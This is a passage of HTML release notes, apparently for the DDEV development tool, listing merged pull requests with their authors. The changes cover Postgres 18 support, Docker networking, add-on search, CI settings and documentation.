<li>chore(deps): update vendor to current, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3419688927" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7624" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7624/hovercard" href="https://github.com/ddev/ddev/issues/7624">#7624</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3437116266" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7643" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7643/hovercard" href="https://github.com/ddev/ddev/pull/7643">#7643</a></li>
<li>fix(upsun): upsun should resume paused environment at start [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3445318704" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7650" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7650/hovercard" href="https://github.com/ddev/ddev/pull/7650">#7650</a></li>
<li>feat(docker): auto HTTP/S communication via network aliases instead of external_links by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3434920736" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7642" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7642/hovercard" href="https://github.com/ddev/ddev/pull/7642">#7642</a></li>
<li>test: fix TestNetworkAliases, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3450067740" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7657" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7657/hovercard" href="https://github.com/ddev/ddev/issues/7657">#7657</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3450164194" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7658" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7658/hovercard" href="https://github.com/ddev/ddev/pull/7658">#7658</a></li>
<li>feat: enhance PHP addon environment with DockerEnv() integration by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3446430956" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7651" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7651/hovercard" href="https://github.com/ddev/ddev/pull/7651">#7651</a></li>
<li>test(buildkite): group log output by <code>--- RUN</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3437161238" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7645" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7645/hovercard" href="https://github.com/ddev/ddev/pull/7645">#7645</a></li>
<li>feat: Update AGENTS.md to reference organization-wide patterns by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3454384738" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7659" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7659/hovercard" href="https://github.com/ddev/ddev/pull/7659">#7659</a></li>
<li>fix(cakephp): do not override APP_DEFAULT_LOCALE by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tyler36/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tyler36">@tyler36</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3448243418" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7653" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7653/hovercard" href="https://github.com/ddev/ddev/pull/7653">#7653</a></li>
<li>fix(hack-postgres): hack postgres client since postgresql-client:18 is misbehaving, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3455295219" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7661" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7661/hovercard" href="https://github.com/ddev/ddev/issues/7661">#7661</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3455344956" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7663" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7663/hovercard" href="https://github.com/ddev/ddev/pull/7663">#7663</a></li>
<li>fix(postgres): uninstall postgresql-client with its dependencies, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3455344956" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7663" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7663/hovercard" href="https://github.com/ddev/ddev/pull/7663">#7663</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3456310420" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7665" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7665/hovercard" href="https://github.com/ddev/ddev/pull/7665">#7665</a></li>
<li>docs: platform.sh-&gt;upsun name changes, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3449367609" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7654" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7654/hovercard" href="https://github.com/ddev/ddev/issues/7654">#7654</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3465699063" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7673" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7673/hovercard" href="https://github.com/ddev/ddev/pull/7673">#7673</a></li>
<li>feat(warnings): Allow silencing warnings about custom config files, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3432283969" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7638" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7638/hovercard" href="https://github.com/ddev/ddev/issues/7638">#7638</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3455251590" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7660" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7660/hovercard" href="https://github.com/ddev/ddev/pull/7660">#7660</a></li>
<li>feat(test-ddev): add more distro info and default shell to ddev debug test by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3457881955" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7666" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7666/hovercard" href="https://github.com/ddev/ddev/pull/7666">#7666</a></li>
<li>feat(postgres): Support postgres:18, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3455295219" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7661" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7661/hovercard" href="https://github.com/ddev/ddev/issues/7661">#7661</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3455304373" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7662" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7662/hovercard" href="https://github.com/ddev/ddev/pull/7662">#7662</a></li>
<li>feat: add <code>ddev add-on search</code> subcommand, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3271485002" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7491" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7491/hovercard" href="https://github.com/ddev/ddev/issues/7491">#7491</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AkibaAT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AkibaAT">@AkibaAT</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3349955579" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7554" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7554/hovercard" href="https://github.com/ddev/ddev/pull/7554">#7554</a></li>
<li>feat(db): remove the hardcoded --server-id=0 parameter from MySQL startup, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2685087951" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/6768" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/6768/hovercard" href="https://github.com/ddev/ddev/issues/6768">#6768</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cyppe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cyppe">@cyppe</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3398642974" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7608" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7608/hovercard" href="https://github.com/ddev/ddev/pull/7608">#7608</a></li>
<li>chore(buildkite): add DDEV_GITHUB_TOKEN for DDEV_RUN_GET_TESTS and don't run tests on skip by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3473506770" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7680" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7680/hovercard" href="https://github.com/ddev/ddev/pull/7680">#7680</a></li>
<li>build(image): use native arm builder for building docker images, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3338014772" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7539" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7539/hovercard" href="https://github.com/ddev/ddev/issues/7539">#7539</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AkibaAT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AkibaAT">@AkibaAT</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3349925299" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7553" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7553/hovercard" href="https://github.com/ddev/ddev/pull/7553">#7553</a></li>
<li>fix(postgres): normalize path on Windows, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3470721135" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7679" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7679/hovercard" href="https://github.com/ddev/ddev/issues/7679">#7679</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3474063665" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7682" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7682/hovercard" href="https://github.com/ddev/ddev/pull/7682">#7682</a></li>
<li>feat: update ddev debug test to emphasize global ddev dir [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3477745569" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7684" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7684/hovercard" href="https://github.com/ddev/ddev/pull/7684">#7684</a></li>
<li>feat: use 'ddev utility' instead of 'ddev debug', fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3477427379" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7683" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7683/hovercard" href="https://github.com/ddev/ddev/issues/7683">#7683</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3477852641" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7685" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7685/hovercard" href="https://github.com/ddev/ddev/pull/7685">#7685</a></li>
<li>docs(moodle): update moodle quickstart to have composer_root in root, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3484138162" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7692" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7692/hovercard" href="https://github.com/ddev/ddev/issues/7692">#7692</a> [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3484153441" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7693" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7693/hovercard" href="https://github.com/ddev/ddev/pull/7693">#7693</a></li>
<li>fix: disable <code>.env</code> parsing for <code>docker-compose pull</code>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3464922448" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7671" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7671/hovercard" href="https://github.com/ddev/ddev/issues/7671">#7671</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3480926589" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7687" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7687/hovercard" href="https://github.com/ddev/ddev/pull/7687">#7687</a></li>
<li>chore: remove contributors.yml and use latest golangci-lint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3489020702" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7699" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7699/hovercard" href="https://github.com/ddev/ddev/pull/7699">#7699</a></li>
<li>fix: don't use GITHUB_OWNER variable for install_ddev.sh, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3482540529" data-permission-text="Title is private" data-url="https://github.com/ddev/github-action-setup-ddev/issues/54" data-hovercard-type="issue" data-hovercard-url="/ddev/github-action-setup-ddev/issues/54/hovercard" href="https://github.com/ddev/github-action-setup-ddev/issues/54">ddev/github-action-setup-ddev#54</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3486745234" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7695" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7695/hovercard" href="https://github.com/ddev/ddev/pull/7695">#7695</a></li>
<li>fix: show if DDEV_GITHUB_TOKEN was used in download requests, add DDEV_GLOBAL_DIR env, skip add-on tests without token, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3434583644" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7641" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7641/hovercard" href="https://github.com/ddev/ddev/issues/7641">#7641</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3479281007" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7686" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7686/hovercard" href="https://github.com/ddev/ddev/pull/7686">#7686</a></li>
<li>fix: start container only after attach in <code>ddev auth ssh</code>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3455928717" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7664" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7664/hovercard" href="https://github.com/ddev/ddev/issues/7664">#7664</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3473843705" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7681" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7681/hovercard" href="https://github.com/ddev/ddev/pull/7681">#7681</a></li>
<li>feat(dockercheck): improve ddev ut dockercheck, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3465496916" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7672" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7672/hovercard" href="https://github.com/ddev/ddev/issues/7672">#7672</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3484025675" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7690" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7690/hovercard" href="https://github.com/ddev/ddev/pull/7690">#7690</a></li>
<li>fix: improve MOTD and sponsorship message controls, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3247470227" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7468" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7468/hovercard" href="https://github.com/ddev/ddev/issues/7468">#7468</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3469571696" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7676" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7676/hovercard" href="https://github.com/ddev/ddev/issues/7676">#7676</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2799882615" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/6918" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/6918/hovercard" href="https://github.com/ddev/ddev/issues/6918">#6918</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3484043051" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7691" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7691/hovercard" href="https://github.com/ddev/ddev/pull/7691">#7691</a></li>
<li>fix: ddev debug test shouldn't leave dead ddev-utilities containers [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3491911964" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7701" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7701/hovercard" href="https://github.com/ddev/ddev/pull/7701">#7701</a></li>
<li>refactor(add-ons): exclude archived repositories by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3496640437" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7705" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7705/hovercard" href="https://github.com/ddev/ddev/pull/7705">#7705</a></li>
<li>test: npmjs.com no longer allows unchallenged curl [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3506722224" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7706" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7706/hovercard" href="https://github.com/ddev/ddev/pull/7706">#7706</a></li>
<li>docs(macos): bump system requirements by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3533333391" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7729" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7729/hovercard" href="https://github.com/ddev/ddev/pull/7729">#7729</a></li>
<li>fix(codespaces): use lightweight debian-12 image, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3063729923" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7294" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7294/hovercard" href="https://github.com/ddev/ddev/issues/7294">#7294</a> [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3517469856" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7713" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7713/hovercard" href="https://github.com/ddev/ddev/pull/7713">#7713</a></li>
<li>fix(github): retry without auth on invalid GitHub token, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3434583644" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7641" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7641/hovercard" href="https://github.com/ddev/ddev/issues/7641">#7641</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3525967876" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7717" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7717/hovercard" href="https://github.com/ddev/ddev/pull/7717">#7717</a></li>
<li>fix(mutagen): use fixed length for <code>com.ddev.volume-signature</code> label, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3514570713" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7710" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7710/hovercard" href="https://github.com/ddev/ddev/issues/7710">#7710</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3517349613" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7712" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7712/hovercard" href="https://github.com/ddev/ddev/pull/7712">#7712</a></li>
<li>docs: add commands for preparing DDEV to work offline by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3532568292" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7726" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7726/hovercard" href="https://github.com/ddev/ddev/pull/7726">#7726</a></li>
<li>docs: fix a little custom command annotations code example by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TravisCarden/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TravisCarden">@TravisCarden</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3515388161" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7711" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7711/hovercard" href="https://github.com/ddev/ddev/pull/7711">#7711</a></li>
<li>feat(heidisql): allow postgres connections, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3469508925" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7675" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7675/hovercard" href="https://github.com/ddev/ddev/issues/7675">#7675</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/raphaelportmann/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/raphaelportmann">@raphaelportmann</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3469596003" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7677" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7677/hovercard" href="https://github.com/ddev/ddev/pull/7677">#7677</a></li>
<li>docs: explicitly mention setting system managed nvm version, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="2204536474" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/6013" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/6013/hovercard" href="https://github.com/ddev/ddev/issues/6013">#6013</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JshGrn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JshGrn">@JshGrn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3536973192" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7733" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7733/hovercard" href="https://github.com/ddev/ddev/pull/7733">#7733</a></li>
